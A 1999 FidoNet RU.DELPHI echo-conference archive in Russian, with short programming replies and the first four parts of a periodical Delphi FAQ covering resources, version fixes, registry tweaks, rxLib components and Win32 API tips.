сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Пнд Мар 15 00:33:22 MSK 1999 Сгенерировано [42]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. http://rx.demo.ru/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. http://members.xoom.com/PolarisSoft/ 21. http://www.sawatski.de/ 22. http://www.itecuk.com/delmag/thunk95.htm 23. http://www.imagelib.com/ 24. http://einstein.ae.eng.ua.edu/nishita/index.htm 25. http://www.exceedsoft.com/ 26. http://www.geocities.com/SiliconValley/1142/ 27. http://www.signsoft.com/opengl 28. http://www.opengl.org/ 29. http://reality.sgi.com/mjk 30. http://www.scitechsoft.com/ 31. http://www.pbear.com/ 32. http://www.tsinet.ru/~vg 33. http://www.cyclic.com/ 34. http://alexm.here.ru/ 35. http://www.dic.ru/users/rusov/ 36. http://www.numega.com/ 37. http://www.blinkinc.com/ 38. http://kolos.uni.lodz.pl/warezak 39. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 40. http://www.icl.ndirect.co.uk/petite/ 41. http://www.iconbazaar.com/ 42. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 84 of 341 + 106 From : Tolik Tentser 2:5020/400 14 Apr 99 18:02:00 To : All Subj : Как найти генератор инсталляшек ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: tolik@katren.nsk.ru .REPLYTO: 2:5020/400 UUCP From: tolik@katren.nsk.ru (Tolik Tentser) Hi Eugene M. Kostin! В чреве акулы, пойманной 14 Apr 1999 17:34:55 +0400, дети капитана Гранта нашли письмо на тему 'Как найти генератор инсталляшек': >Помогите найти программу, которая делает инсталляшки >типа как InstallShield. Интересуют аналоги InstallShieldа, >которые делают инсталляторы, умеющие корректно ставить помимо >инсталлируемых файлов и BDE от Delphi 4.xx. И нужны >адреса в интернете где их можно взять. Wise - http://install.da.ru >Просто InstallShieldская инсталляция вылетает при нажатии >на кнопку BROUSE (выбор пути для установки) с ошибкой >при запуске MPREXE и все. Виндам только перезагрузка >помогает. Вот и хотим аналог найти, который не будет вылетать. А может тебе просто с Шилдом разобраться ? Как бы это не есть его штатное поведение, обычно он работает = Иконку в system tray (где часы) вставляют функцией Shell_NotifyIcon = Bye ... Тенцер А.Л. tolik@katren.nsk.ru ICQ 15925834 --- ifmail v.2.14dev3 * Origin: AO Katren (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 85 of 341 From : Galiullin George 2:5020/400 16 Apr 99 00:38:00 To : All Subj : 3-D графики мат. функций ??? ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: generat@spb.cityline.ru .REPLYTO: 2:5020/400 UUCP From: "Galiullin George" >Пдскажите,pls, как делать графики в Delphi 3 (по значениям функций в >точках)? >Как понять 3D ? Hе представляю, как это может выглядеть. 8-\ Я использую для ентого TDBChart (.Series[i].AddXY или что-то в этом духе для динамических графиков и просто подключать к нему базу данных для статического отобр-я). Если очень надо, могу смылить (сам занимаюсь всякими графиками, мультиками, дифурами и прочей лабудой) george_g@mail.ru --- ifmail v.2.14dev3 * Origin: Demos online service (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 86 of 341 From : Serge Gusev 2:5057/43.8 17 Apr 99 11:49:00 To : Dmitry Flyorov Subj : D3,TEdit.Text ──────────────────────────────────────────────────────────────────────────────── DF> Имеем форму с несколькими компонентами TEdit на ней. Хотим прочитать DF> из текстового файла некоторый набор данных и воткнуть их в TEdit'ы: DF> ... DF> procedure TDatBlankForm.LoadDataFromFile(Sender: TObject;NameDataFile DF> :string); Var Skip :string; DF> NameAlloy :string; DF> begin DF> AssignFile(DataFile,NameDataFile); DF> Reset(DataFile); DF> readln(DataFile,NameAlloy); DF> NameAlloyEdit.Text:=NameAlloy; DF> readln(DataFile,Skip); DF> readln(DataFile,FirstCompEdit.Text); DF> В этой строчке Delphi 3.0 выдает DF> _ERROR_: Left side cannot be assigned to. DF> А почему с NameAlloyEdit и NameAlloy такого не происходит? Потому, что NameAlloy - пеpеменная, а к NameAlloyEdit ты коppектно обpащаешься. Text - свойство, доступ к котоpому осуществляется чеpез методы, а не пpосто записью данных по опpеделенному адpесу, как это делает Readln. DF> Т.е. свойство Text присвоить можно, но не оператором readln. :( DF> Как же мне обойти эту ошибку - ну не хочу я вводить кучу строковых DF> переменных в этом модуле, когда этого можно не делать (в модуле А почему бы одной не обойтись? Читай в нее и пеpепpисваивай. Или так: Пpовеpять не буду (лень ;-)), но почему бы не попpобовать TFileStream, и посадить на него TReader с его ReadString (или ReadStr) Serge --- * Origin: @c:\bbs\gold\origin.lst (2:5057/43.8) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 87 of 341 - 78 + 135 From : Alexey_Mahotkin 2:5020/433 19 Apr 99 00:19:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 924470362 17825 127.0.0.1 (18 Apr 1999 21:19:22 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Apr 1999 21:19:22 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.15 1999/03/11 00:32:03 alexm Exp $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24). Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathname. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 88 of 341 - 79 + 136 From : Alexey_Mahotkin 2:5020/433 19 Apr 99 00:19:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 924470382 17868 127.0.0.1 (18 Apr 1999 21:19:42 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Apr 1999 21:19:42 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена третьим ServicePack'ом, который можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 89 of 341 - 80 + 137 From : Alexey_Mahotkin 2:5020/433 19 Apr 99 00:19:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 924470391 17903 127.0.0.1 (18 Apr 1999 21:19:51 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Apr 1999 21:19:51 GMT Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 90 of 341 - 81 + 138 From : Alexey_Mahotkin 2:5020/433 19 Apr 99 00:19:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 924470400 17907 127.0.0.1 (18 Apr 1999 21:20:00 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 18 Apr 1999 21:20:00 GMT Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить 